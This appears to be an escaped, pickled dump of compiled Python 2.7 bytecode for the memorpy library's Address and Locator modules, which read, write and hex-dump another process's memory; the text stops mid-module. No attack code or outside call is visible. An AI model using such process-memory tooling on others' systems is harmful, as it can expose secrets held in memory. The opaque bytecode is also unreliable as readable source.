\\\\x00\\\\x00\\\\x00s\\\\x18\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x0c\\\\x01\\\\x03\\\\x01\\\\n\\\\x01\\\\x0c\\\\x01\\\\n\\\\x01\\\\x03\\\\x01\\\\x07\\\\x02\\\\x06\\\\x01\\\\x0c\\\\x01\\\\x06\\\\x01\\\\x1f\\\\x02c\\\\x03\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00\\\\x05\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s.\\\\x00\\\\x00\\\\x00|\\\\x02\\\\x00s\\\\x12\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00}\\\\x02\\\\x00n\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x01\\\\x00j\\\\x02\\\\x00|\\\\x00\\\\x00j\\\\x03\\\\x00|\\\\x01\\\\x00d\\\\x01\\\\x00|\\\\x02\\\\x00\\\\x83\\\\x02\\\\x01S(\\\\x02\\\\x00\\\\x00\\\\x00NR\\\\x0e\\\\x00\\\\x00\\\\x00(\\\\x04\\\\x00\\\\x00\\\\x00R\\\\x08\\\\x00\\\\x00\\\\x00R\\\\x07\\\\x00\\\\x00\\\\x00t\\\\x05\\\\x00\\\\x00\\\\x00writeR\\\\x06\\\\x00\\\\x00\\\\x00(\\\\x03\\\\x00\\\\x00\\\\x00R\\\\x0b\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00dataR\\\\x0e\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sO\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyR\\\\x12\\\\x00\\\\x00\\\\x000\\\\x00\\\\x00\\\\x00s\\\\x06\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x06\\\\x01\\\\x0c\\\\x01c\\\\x01\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\x13\\\\x00\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00j\\\\x01\\\\x00|\\\\x00\\\\x00j\\\\x02\\\\x00\\\\x83\\\\x01\\\\x00S(\\\\x01\\\\x00\\\\x00\\\\x00N(\\\\x03\\\\x00\\\\x00\\\\x00R\\\\x07\\\\x00\\\\x00\\\\x00t\\\\x11\\\\x00\\\\x00\\\\x00get_symbolic_nameR\\\\x06\\\\x00\\\\x00\\\\x00(\\\\x01\\\\x00\\\\x00\\\\x00R\\\\x0b\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sO\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyt\\\\x06\\\\x00\\\\x00\\\\x00symbol5\\\\x00\\\\x00\\\\x00s\\\\x02\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01c\\\\x01\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\x13\\\\x00\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00j\\\\x01\\\\x00|\\\\x00\\\\x00j\\\\x02\\\\x00\\\\x83\\\\x01\\\\x00S(\\\\x01\\\\x00\\\\x00\\\\x00N(\\\\x03\\\\x00\\\\x00\\\\x00R\\\\x07\\\\x00\\\\x00\\\\x00t\\\\x0f\\\\x00\\\\x00\\\\x00get_instructionR\\\\x06\\\\x00\\\\x00\\\\x00(\\\\x01\\\\x00\\\\x00\\\\x00R\\\\x0b\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sO\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyR\\\\x16\\\\x00\\\\x00\\\\x008\\\\x00\\\\x00\\\\x00s\\\\x02\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01t\\\\x05\\\\x00\\\\x00\\\\x00bytesi\\\\x00\\\\x02\\\\x00\\\\x00i \\\\x00\\\\x00\\\\x00c\\\\x04\\\\x00\\\\x00\\\\x00\\\\x05\\\\x00\\\\x00\\\\x00\\\\x05\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s>\\\\x00\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00j\\\\x01\\\\x00|\\\\x00\\\\x00j\\\\x02\\\\x00|\\\\x03\\\\x00\\\\x18|\\\\x02\\\\x00\\\\x83\\\\x02\\\\x00}\\\\x04\\\\x00t\\\\x03\\\\x00j\\\\x04\\\\x00|\\\\x04\\\\x00|\\\\x00\\\\x00j\\\\x02\\\\x00|\\\\x03\\\\x00\\\\x18d\\\\x01\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x02\\\\x01GHd\\\\x00\\\\x00S(\\\\x02\\\\x00\\\\x00\\\\x00Nt\\\\x05\\\\x00\\\\x00\\\\x00ftype(\\\\x05\\\\x00\\\\x00\\\\x00R\\\\x07\\\\x00\\\\x00\\\\x00t\\\\n\\\\x00\\\\x00\\\\x00read_bytesR\\\\x06\\\\x00\\\\x00\\\\x00t\\\\x05\\\\x00\\\\x00\\\\x00utilst\\\\x08\\\\x00\\\\x00\\\\x00hex_dump(\\\\x05\\\\x00\\\\x00\\\\x00R\\\\x0b\\\\x00\\\\x00\\\\x00R\\\\x18\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00sizet\\\\x06\\\\x00\\\\x00\\\\x00beforet\\\\x03\\\\x00\\\\x00\\\\x00buf(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sO\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyt\\\\x04\\\\x00\\\\x00\\\\x00dump;\\\\x00\\\\x00\\\\x00s\\\\x04\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x1c\\\\x01c\\\\x01\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\x1c\\\\x00\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00d\\\\x00\\\\x00k\\\\t\\\\x00o\\\\x1b\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00d\\\\x01\\\\x00k\\\\x03\\\\x00S(\\\\x02\\\\x00\\\\x00\\\\x00Ni\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x02\\\\x00\\\\x00\\\\x00R\\\\x06\\\\x00\\\\x00\\\\x00R\\\\t\\\\x00\\\\x00\\\\x00(\\\\x01\\\\x00\\\\x00\\\\x00R\\\\x0b\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sO\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyt\\\\x0b\\\\x00\\\\x00\\\\x00__nonzero__?\\\\x00\\\\x00\\\\x00s\\\\x02\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01c\\\\x02\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00\\\\x04\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s#\\\\x00\\\\x00\\\\x00t\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x01\\\\x00t\\\\x02\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00\\\\x17|\\\\x00\\\\x00j\\\\x03\\\\x00|\\\\x00\\\\x00j\\\\x04\\\\x00\\\\x83\\\\x03\\\\x00S(\\\\x01\\\\x00\\\\x00\\\\x00N(\\\\x05\\\\x00\\\\x00\\\\x00R\\\\x03\\\\x00\\\\x00\\\\x00R\\\\x06\\\\x00\\\\x00\\\\x00R\\\\x05\\\\x00\\\\x00\\\\x00R\\\\x07\\\\x00\\\\x00\\\\x00R\\\\x08\\\\x00\\\\x00\\\\x00(\\\\x02\\\\x00\\\\x00\\\\x00R\\\\x0b\\\\x00\\\\x00\\\\x00t\\\\x05\\\\x00\\\\x00\\\\x00other(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sO\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyt\\\\x07\\\\x00\\\\x00\\\\x00__add__B\\\\x00\\\\x00\\\\x00s\\\\x02\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01c\\\\x02\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00\\\\x04\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s#\\\\x00\\\\x00\\\\x00t\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x01\\\\x00t\\\\x02\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00\\\\x18|\\\\x00\\\\x00j\\\\x03\\\\x00|\\\\x00\\\\x00j\\\\x04\\\\x00\\\\x83\\\\x03\\\\x00S(\\\\x01\\\\x00\\\\x00\\\\x00N(\\\\x05\\\\x00\\\\x00\\\\x00R\\\\x03\\\\x00\\\\x00\\\\x00R\\\\x06\\\\x00\\\\x00\\\\x00R\\\\x05\\\\x00\\\\x00\\\\x00R\\\\x07\\\\x00\\\\x00\\\\x00R\\\\x08\\\\x00\\\\x00\\\\x00(\\\\x02\\\\x00\\\\x00\\\\x00R\\\\x0b\\\\x00\\\\x00\\\\x00R!\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sO\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyt\\\\x07\\\\x00\\\\x00\\\\x00__sub__E\\\\x00\\\\x00\\\\x00s\\\\x02\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01c\\\\x01\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s0\\\\x00\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00s\\\\x1b\\\\x00|\\\\x00\\\\x00j\\\\x01\\\\x00\\\\x83\\\\x00\\\\x00|\\\\x00\\\\x00_\\\\x00\\\\x00n\\\\x00\\\\x00t\\\\x02\\\\x00d\\\\x01\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00\\\\x16d\\\\x02\\\\x00\\\\x17\\\\x83\\\\x01\\\\x00S(\\\\x03\\\\x00\\\\x00\\\\x00Ns\\\\t\\\\x00\\\\x00\\\\x00<Addr: %st\\\\x01\\\\x00\\\\x00\\\\x00>(\\\\x03\\\\x00\\\\x00\\\\x00R\\\\n\\\\x00\\\\x00\\\\x00R\\\\x15\\\\x00\\\\x00\\\\x00t\\\\x03\\\\x00\\\\x00\\\\x00str(\\\\x01\\\\x00\\\\x00\\\\x00R\\\\x0b\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sO\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyt\\\\x08\\\\x00\\\\x00\\\\x00__repr__H\\\\x00\\\\x00\\\\x00s\\\\x06\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\t\\\\x01\\\\x12\\\\x01c\\\\x01\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\\\x05\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00s\\\\x1b\\\\x00|\\\\x00\\\\x00j\\\\x01\\\\x00\\\\x83\\\\x00\\\\x00|\\\\x00\\\\x00_\\\\x00\\\\x00n\\\\x00\\\\x00t\\\\x02\\\\x00d\\\\x01\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00\\\\x16d\\\\x02\\\\x00t\\\\x02\\\\x00|\\\\x00\\\\x00j\\\\x03\\\\x00\\\\x83\\\\x00\\\\x00\\\\x83\\\\x01\\\\x00j\\\\x04\\\\x00d\\\\x03\\\\x00\\\\x83\\\\x01\\\\x00|\\\\x00\\\\x00j\\\\x05\\\\x00f\\\\x02\\\\x00\\\\x16\\\\x17\\\\x83\\\\x01\\\\x00S(\\\\x04\\\\x00\\\\x00\\\\x00Ns\\\\t\\\\x00\\\\x00\\\\x00<Addr: %ss\\\\r\\\\x00\\\\x00\\\\x00 : \"%s\" (%s)>t\\\\r\\\\x00\\\\x00\\\\x00string_escape(\\\\x06\\\\x00\\\\x00\\\\x00R\\\\n\\\\x00\\\\x00\\\\x00R\\\\x15\\\\x00\\\\x00\\\\x00R%\\\\x00\\\\x00\\\\x00R\\\\x11\\\\x00\\\\x00\\\\x00t\\\\x06\\\\x00\\\\x00\\\\x00encodeR\\\\x08\\\\x00\\\\x00\\\\x00(\\\\x01\\\\x00\\\\x00\\\\x00R\\\\x0b\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sO\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyt\\\\x07\\\\x00\\\\x00\\\\x00__str__M\\\\x00\\\\x00\\\\x00s\\\\x06\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\t\\\\x01\\\\x12\\\\x01c\\\\x01\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\r\\\\x00\\\\x00\\\\x00t\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00S(\\\\x01\\\\x00\\\\x00\\\\x00N(\\\\x02\\\\x00\\\\x00\\\\x00R\\\\x05\\\\x00\\\\x00\\\\x00R\\\\x06\\\\x00\\\\x00\\\\x00(\\\\x01\\\\x00\\\\x00\\\\x00R\\\\x0b\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sO\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyt\\\\x07\\\\x00\\\\x00\\\\x00__int__R\\\\x00\\\\x00\\\\x00s\\\\x02\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01c\\\\x01\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\r\\\\x00\\\\x00\\\\x00t\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00S(\\\\x01\\\\x00\\\\x00\\\\x00N(\\\\x02\\\\x00\\\\x00\\\\x00t\\\\x03\\\\x00\\\\x00\\\\x00hexR\\\\x06\\\\x00\\\\x00\\\\x00(\\\\x01\\\\x00\\\\x00\\\\x00R\\\\x0b\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sO\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyt\\\\x07\\\\x00\\\\x00\\\\x00__hex__U\\\\x00\\\\x00\\\\x00s\\\\x02\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01c\\\\x03\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\x07\\\\x00\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00S(\\\\x01\\\\x00\\\\x00\\\\x00N(\\\\x01\\\\x00\\\\x00\\\\x00R\\\\x06\\\\x00\\\\x00\\\\x00(\\\\x03\\\\x00\\\\x00\\\\x00R\\\\x0b\\\\x00\\\\x00\\\\x00t\\\\x08\\\\x00\\\\x00\\\\x00instancet\\\\x05\\\\x00\\\\x00\\\\x00owner(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sO\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyt\\\\x07\\\\x00\\\\x00\\\\x00__get__X\\\\x00\\\\x00\\\\x00s\\\\x02\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01c\\\\x03\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\x13\\\\x00\\\\x00\\\\x00t\\\\x00\\\\x00|\\\\x02\\\\x00\\\\x83\\\\x01\\\\x00|\\\\x00\\\\x00_\\\\x01\\\\x00d\\\\x00\\\\x00S(\\\\x01\\\\x00\\\\x00\\\\x00N(\\\\x02\\\\x00\\\\x00\\\\x00R\\\\x05\\\\x00\\\\x00\\\\x00R\\\\x06\\\\x00\\\\x00\\\\x00(\\\\x03\\\\x00\\\\x00\\\\x00R\\\\x0b\\\\x00\\\\x00\\\\x00R-\\\\x00\\\\x00\\\\x00R\\\\x06\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sO\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyt\\\\x07\\\\x00\\\\x00\\\\x00__set__[\\\\x00\\\\x00\\\\x00s\\\\x02\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01c\\\\x02\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\x13\\\\x00\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00t\\\\x01\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00k\\\\x00\\\\x00S(\\\\x01\\\\x00\\\\x00\\\\x00N(\\\\x02\\\\x00\\\\x00\\\\x00R\\\\x06\\\\x00\\\\x00\\\\x00R\\\\x05\\\\x00\\\\x00\\\\x00(\\\\x02\\\\x00\\\\x00\\\\x00R\\\\x0b\\\\x00\\\\x00\\\\x00R!\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sO\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyt\\\\x06\\\\x00\\\\x00\\\\x00__lt__^\\\\x00\\\\x00\\\\x00s\\\\x02\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01c\\\\x02\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\x13\\\\x00\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00t\\\\x01\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00k\\\\x01\\\\x00S(\\\\x01\\\\x00\\\\x00\\\\x00N(\\\\x02\\\\x00\\\\x00\\\\x00R\\\\x06\\\\x00\\\\x00\\\\x00R\\\\x05\\\\x00\\\\x00\\\\x00(\\\\x02\\\\x00\\\\x00\\\\x00R\\\\x0b\\\\x00\\\\x00\\\\x00R!\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sO\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyt\\\\x06\\\\x00\\\\x00\\\\x00__le__a\\\\x00\\\\x00\\\\x00s\\\\x02\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01c\\\\x02\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\x13\\\\x00\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00t\\\\x01\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00k\\\\x02\\\\x00S(\\\\x01\\\\x00\\\\x00\\\\x00N(\\\\x02\\\\x00\\\\x00\\\\x00R\\\\x06\\\\x00\\\\x00\\\\x00R\\\\x05\\\\x00\\\\x00\\\\x00(\\\\x02\\\\x00\\\\x00\\\\x00R\\\\x0b\\\\x00\\\\x00\\\\x00R!\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sO\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyt\\\\x06\\\\x00\\\\x00\\\\x00__eq__d\\\\x00\\\\x00\\\\x00s\\\\x02\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01c\\\\x02\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\x13\\\\x00\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00t\\\\x01\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00k\\\\x03\\\\x00S(\\\\x01\\\\x00\\\\x00\\\\x00N(\\\\x02\\\\x00\\\\x00\\\\x00R\\\\x06\\\\x00\\\\x00\\\\x00R\\\\x05\\\\x00\\\\x00\\\\x00(\\\\x02\\\\x00\\\\x00\\\\x00R\\\\x0b\\\\x00\\\\x00\\\\x00R!\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sO\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyt\\\\x06\\\\x00\\\\x00\\\\x00__ne__g\\\\x00\\\\x00\\\\x00s\\\\x02\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01c\\\\x02\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\x13\\\\x00\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00t\\\\x01\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00k\\\\x04\\\\x00S(\\\\x01\\\\x00\\\\x00\\\\x00N(\\\\x02\\\\x00\\\\x00\\\\x00R\\\\x06\\\\x00\\\\x00\\\\x00R\\\\x05\\\\x00\\\\x00\\\\x00(\\\\x02\\\\x00\\\\x00\\\\x00R\\\\x0b\\\\x00\\\\x00\\\\x00R!\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sO\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyt\\\\x06\\\\x00\\\\x00\\\\x00__gt__j\\\\x00\\\\x00\\\\x00s\\\\x02\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01c\\\\x02\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\x13\\\\x00\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00t\\\\x01\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00k\\\\x05\\\\x00S(\\\\x01\\\\x00\\\\x00\\\\x00N(\\\\x02\\\\x00\\\\x00\\\\x00R\\\\x06\\\\x00\\\\x00\\\\x00R\\\\x05\\\\x00\\\\x00\\\\x00(\\\\x02\\\\x00\\\\x00\\\\x00R\\\\x0b\\\\x00\\\\x00\\\\x00R!\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sO\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyt\\\\x06\\\\x00\\\\x00\\\\x00__ge__m\\\\x00\\\\x00\\\\x00s\\\\x02\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01N(\\\\x19\\\\x00\\\\x00\\\\x00R\\\\x01\\\\x00\\\\x00\\\\x00R\\\\x02\\\\x00\\\\x00\\\\x00t\\\\x07\\\\x00\\\\x00\\\\x00__doc__R\\\\x0c\\\\x00\\\\x00\\\\x00R\\\\t\\\\x00\\\\x00\\\\x00R\\\\x11\\\\x00\\\\x00\\\\x00R\\\\x12\\\\x00\\\\x00\\\\x00R\\\\x15\\\\x00\\\\x00\\\\x00R\\\\x16\\\\x00\\\\x00\\\\x00R\\\\x1f\\\\x00\\\\x00\\\\x00R \\\\x00\\\\x00\\\\x00R\"\\\\x00\\\\x00\\\\x00R#\\\\x00\\\\x00\\\\x00R&\\\\x00\\\\x00\\\\x00R)\\\\x00\\\\x00\\\\x00R*\\\\x00\\\\x00\\\\x00R,\\\\x00\\\\x00\\\\x00R/\\\\x00\\\\x00\\\\x00R0\\\\x00\\\\x00\\\\x00R1\\\\x00\\\\x00\\\\x00R2\\\\x00\\\\x00\\\\x00R3\\\\x00\\\\x00\\\\x00R4\\\\x00\\\\x00\\\\x00R5\\\\x00\\\\x00\\\\x00R6\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sO\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyR\\\\x03\\\\x00\\\\x00\\\\x00\\\\x17\\\\x00\\\\x00\\\\x00s,\\\\x00\\\\x00\\\\x00\\\\x06\\\\x01\\\\x06\\\\x02\\\\x0c\\\\x06\\\\x12\\\\x10\\\\x0c\\\\x05\\\\t\\\\x03\\\\t\\\\x03\\\\x12\\\\x04\\\\t\\\\x03\\\\t\\\\x03\\\\t\\\\x03\\\\t\\\\x05\\\\t\\\\x05\\\\t\\\\x03\\\\t\\\\x03\\\\t\\\\x03\\\\t\\\\x03\\\\t\\\\x03\\\\t\\\\x03\\\\t\\\\x03\\\\t\\\\x03\\\\t\\\\x03(\\\\x05\\\\x00\\\\x00\\\\x00R\\\\x1a\\\\x00\\\\x00\\\\x00t\\\\t\\\\x00\\\\x00\\\\x00ExceptionR\\\\x00\\\\x00\\\\x00\\\\x00t\\\\x06\\\\x00\\\\x00\\\\x00objectR\\\\x03\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sO\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyt\\\\x08\\\\x00\\\\x00\\\\x00<module>\\\\x11\\\\x00\\\\x00\\\\x00s\\\\x04\\\\x00\\\\x00\\\\x00\\\\x0c\\\\x02\\\\x16\\\\x04\\'\\np7\\nsS\\'memorpy/Locator.pyc\\'\\np8\\nS\"\\\\x03\\\\xf3\\\\r\\\\ng\\\\x18\\\\x05Yc\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00@\\\\x00\\\\x00\\\\x00sN\\\\x00\\\\x00\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x00\\\\x00Z\\\\x00\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x01\\\\x00Z\\\\x01\\\\x00d\\\\x00\\\\x00d\\\\x02\\\\x00l\\\\x02\\\\x00m\\\\x02\\\\x00Z\\\\x02\\\\x00\\\\x01d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x03\\\\x00Z\\\\x03\\\\x00d\\\\x03\\\\x00e\\\\x04\\\\x00f\\\\x01\\\\x00d\\\\x04\\\\x00\\\\x84\\\\x00\\\\x00\\\\x83\\\\x00\\\\x00YZ\\\\x05\\\\x00d\\\\x01\\\\x00S(\\\\x05\\\\x00\\\\x00\\\\x00i\\\\xff\\\\xff\\\\xff\\\\xffN(\\\\x01\\\\x00\\\\x00\\\\x00t\\\\x07\\\\x00\\\\x00\\\\x00Addresst\\\\x07\\\\x00\\\\x00\\\\x00Locatorc\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x04\\\\x00\\\\x00\\\\x00B\\\\x00\\\\x00\\\\x00sY\\\\x00\\\\x00\\\\x00e\\\\